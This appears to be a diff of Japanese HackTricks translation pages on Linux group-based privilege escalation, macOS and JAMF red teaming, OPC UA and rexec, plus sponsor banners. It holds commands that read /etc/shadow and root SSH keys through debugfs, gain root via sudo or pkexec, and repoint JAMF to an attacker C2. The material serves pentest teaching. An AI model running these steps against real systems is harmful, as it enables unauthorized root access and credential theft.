**時々、** **デフォルトで(またはいくつかのソフトウェアが必要とするために)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます:
```bash ```bash
# Allow members of group sudo to execute any command # Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL
@ -34,11 +40,11 @@ sudo su
``` ```
## PE - Method 2 ## PE - Method 2
すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるか確認します: すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します:
```bash ```bash
find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null
``` ```
もしバイナリ pkexec が SUID バイナリであり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。以下の内容を確認してください: もしバイナリ pkexec が SUID バイナリであり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。の内容を確認してください:
```bash ```bash
cat /etc/polkit-1/localauthority.conf.d/* cat /etc/polkit-1/localauthority.conf.d/*
``` ```
@ -54,7 +60,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED === ==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized Error executing command as another user: Not authorized
``` ```
**GUIがないために接続されていないのではなく、権限がないからではありません**。この問題の回避策はここにあります: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です **権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策があります: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です:
{% code title="session1" %} {% code title="session1" %}
```bash ```bash
@ -79,7 +85,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
``` ```
これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
この場合、**rootになるには次のように実行するだけです**: この場合、**rootになるには、単に次を実行すればよい**:
```text ```text
sudo su sudo su
``` ```
@ -103,7 +109,7 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow debugfs: cat /etc/shadow
``` ```
注意して、debugfsを使用すると**ファイルを書き込む**こともできす。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします: 注意してほしいのは、debugfsを使用すると**ファイルを書き込む**こともできるということです。例えば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします
```bash ```bash
debugfs -w /dev/sda1 debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
@ -120,7 +126,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
``` ```
**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 **tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。
**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。それを行うには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存され、解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 **videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を**生データで取得し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。
```bash ```bash
cat /dev/fb0 > /tmp/screen.raw cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size cat /sys/class/graphics/fb0/virtual_size
@ -135,7 +141,7 @@ cat /sys/class/graphics/fb0/virtual_size
# ルートグループ # ルートグループ
デフォルトでは、**ルートグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**ファイル、または特権昇格に使用できる**その他の興味深いもの**を**変更**するアクセス権を持っているようです... デフォルトでは、**ルートグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**ファイル、または特権昇格に使用できる**他の興味深いもの**を**変更**するアクセス権を持っているようです...
**ルートメンバーが変更できるファイルを確認する** **ルートメンバーが変更できるファイルを確認する**
```bash ```bash
@ -143,7 +149,7 @@ find / -group root -perm -g=w 2>/dev/null
``` ```
# Docker Group # Docker Group
ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、そのボリュームに`chroot`を即座にロードします。これにより、実質的にマシン上でルート権限を得ることができます。 ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。インスタンスが起動すると、すぐにそのボリュームに`chroot`をロードします。これにより、実質的にマシン上でルート権限を得ることができます。
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -153,17 +159,24 @@ find / -group root -perm -g=w 2>/dev/null
[lxc - Privilege Escalation](lxd-privilege-escalation.md) [lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## MDMの悪用 ## MDMの悪用
* JAMF Pro: `jamf checkJSSConnection` * JAMF Pro: `jamf checkJSSConnection`
@ -22,13 +30,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**。 管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**。
MacOS環境でのレッドチーミングには、MDMの動作についての理解があることが強く推奨されます: MacOS環境でのレッドチーミングには、MDMの動作についての理解が非常に推奨されます:
{% content-ref url="macos-mdm/" %} {% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/) [macos-mdm](macos-mdm/)
{% endcontent-ref %} {% endcontent-ref %}
### MDMをC2として使用する ### C2としてのMDMの使用
MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています... MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています...
@ -48,7 +56,7 @@ JAMFは**カスタムスクリプト**(システム管理者によって開発
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効かどうか**を確認します。有効な場合、**アクセスするための資格情報を要求されることがあります**。 `https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効かどうか**を確認します。有効な場合、**アクセスするための資格情報を要求されることがあります**。
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。 スクリプト[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)を使用してパスワードスプレー攻撃を実行できます。
さらに、適切な資格情報を見つけた後、次のフォームを使用して他のユーザー名をブルートフォース攻撃できる可能性があります: さらに、適切な資格情報を見つけた後、次のフォームを使用して他のユーザー名をブルートフォース攻撃できる可能性があります:
@ -58,10 +66,10 @@ JAMFは**カスタムスクリプト**(システム管理者によって開発
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`**バイナリには、発見時に**共有**されていたキーチェーンを開くための秘密が含まれており、それは**`jk23ucnq91jfu9aj`**でした。\ **`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時には**誰もが共有**していたもので、**`jk23ucnq91jfu9aj`**でした。\
さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。 さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。
#### JAMFデバイスタ takeover #### JAMFデバイスタケオーバー
**JSS**Jamf Software Server**URL**は、**`jamf`**が使用するもので、**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\ **JSS**Jamf Software Server**URL**は、**`jamf`**が使用するもので、**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\
このファイルには基本的にURLが含まれています このファイルには基本的にURLが含まれています
@ -81,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
``` ```
{% endcode %} {% endcode %}
攻撃者は、インストール時にこのファイルを**上書きする**悪意のあるパッケージ(`pkg`)をドロップし、**TyphonエージェントからのMythic C2リスナーへのURLを設定する**ことで、JAMFをC2として悪用できるようになります。 したがって、攻撃者は、インストール時にこのファイルを**上書きする**悪意のあるパッケージ(`pkg`)をドロップし、**TyphonエージェントからのMythic C2リスナーへのURLを設定する**ことで、JAMFをC2として悪用できるようになります。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -92,7 +100,7 @@ sudo jamf policy -id 0
``` ```
{% endcode %} {% endcode %}
#### JAMFなりすまし #### JAMFなりすまし
デバイスとJMF間の**通信をなりすます**ためには、以下が必要です: デバイスとJMF間の**通信をなりすます**ためには、以下が必要です:
@ -109,7 +117,7 @@ sudo jamf policy -id 0
ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても可能です)。 ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても可能です)。
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されるのをリスンし、新しいプロセス引数を監視できます。 スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されるのをリスンし、新しいプロセス引数を監視できます。
### macOSリモートアクセス ### macOSリモートアクセス
@ -141,8 +149,8 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
``` ```
また、ADを自動的に列挙し、kerberosで遊ぶためのMacOS用のツールがいくつか用意されています また、ADを自動的に列挙し、kerberosで遊ぶためのMacOS用のツールがいくつか用意されています
* [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集し、取り込むことを可能にするBloodhound監査ツールの拡張です。 * [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせず、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するより良いセキュリティテストを可能にすることです。 * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせず、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを向上させることです。
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation (JXA)ツールです。 * [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation (JXA)ツールです。
### ドメイン情報 ### ドメイン情報
@ -153,8 +161,8 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
MacOSのユーザーには3種類あります MacOSのユーザーには3種類あります
* **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理されており、Active Directoryとは一切接続されていません。 * **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理されており、Active Directoryとは何の接続もありません。
* **ネットワークユーザー**DCサーバーに接続して認証を受ける必要がある揮発性のActive Directoryユーザーです。 * **ネットワークユーザー**認証のためにDCサーバーへの接続を必要とする揮発性のActive Directoryユーザーです。
* **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。 * **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。
ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\ ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\
@ -190,7 +198,7 @@ More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Dis
### Computer$ パスワード ### Computer$ パスワード
次の方法でパスワードを取得します: パスワードを取得するには:
```bash ```bash
bifrost --action askhash --username [name] --password [password] --domain [domain] bifrost --action askhash --username [name] --password [password] --domain [domain]
``` ```
@ -221,7 +229,7 @@ mount -t smbfs //server/folder /local/mount/point
``` ```
## キーチェーンへのアクセス ## キーチェーンへのアクセス
キーチェーンには、プロンプトを生成せずにアクセスされた場合、レッドチーム演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです: キーチェーンには、プロンプトを生成せずにアクセスされると、レッドチームの演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです:
{% content-ref url="macos-keychain.md" %} {% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md) [macos-keychain.md](macos-keychain.md)
@ -235,7 +243,7 @@ MacOSのレッドチーミングは、通常**MacOSがいくつかの外部プ
### Safari ### Safari
Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、**自動的に開かれます**。例えば、**zipファイルをダウンロードすると**、自動的に解凍されます: Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、**自動的に開かれます**。例えば、**zipをダウンロード**すると、自動的に解凍されます:
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
@ -247,6 +255,14 @@ Safariでファイルがダウンロードされると、それが「安全な
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) * [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) * [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -256,8 +272,8 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,13 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報 ## 基本情報
**OPC UA****Open Platform Communications Unified Access**の略は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換や機器制御に使用される重要なオープンソースプロトコルです。これは、特にPLCとの通信を可能にするため、異なるベンダーの機器が相互に通信できるようにします。 **OPC UA****Open Platform Communications Unified Access**の略は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換や機器制御に使用される重要なオープンソースプロトコルです。これは、特にPLCとの通信を可能にするため、異なるベンダーの機器が相互に通信できるようにします。
その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のために、これらの対策が緩和されることが多く、システムがリスクにさらされることがあります。さらに、OPC UAサービスを見つけるのは難しい場合があり、ネットワークスキャナーが非標準ポートにある場合、それらを検出できないことがあります。 その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のためにこれらが軽減されることが多く、システムがリスクにさらされることがあります。さらに、ネットワークスキャナーが非標準ポートにある場合、OPC UAサービスを検出できないことがあるため、見つけるのが難しいことがあります。
**デフォルトポート:** 4840 **デフォルトポート:** 4840
```text ```text
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack 4840/tcp open unknown syn-ack
@ -34,7 +42,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
``` ```
### 脆弱性の悪用 ### 脆弱性の悪用
認証バイパスの脆弱性が見つかった場合、[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を適切に設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、重工業機器を実際に操作することまで可能になる場合があります。 認証バイパスの脆弱性が見つかった場合、[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を適切に設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、重機の操作まで可能になる場合があります。
アクセスできるデバイスの手がかりを得るために、アドレス空間内の「ServerStatus」ードの値を読み取り、使用マニュアルをグーグルで検索してください。 アクセスできるデバイスの手がかりを得るために、アドレス空間内の「ServerStatus」ードの値を読み取り、使用マニュアルをグーグルで検索してください。
@ -46,6 +54,14 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) * [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -55,8 +71,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまでの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報 ## 基本情報
**有効な認証情報**(ユーザー名とパスワード)を知っている場合、**ホスト内でコマンドを実行することを許可するサービス**です。 有効な**資格情報**(ユーザー名とパスワード)を知っていれば、**ホスト内でコマンドを実行することを許可するサービス**です。
**デフォルトポート** 512 **デフォルトポート:** 512
``` ```
PORT STATE SERVICE PORT STATE SERVICE
512/tcp open exec 512/tcp open exec
@ -34,7 +36,9 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで対応しています。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出およびエクスプロイトモジュールを開発しています。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,15 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
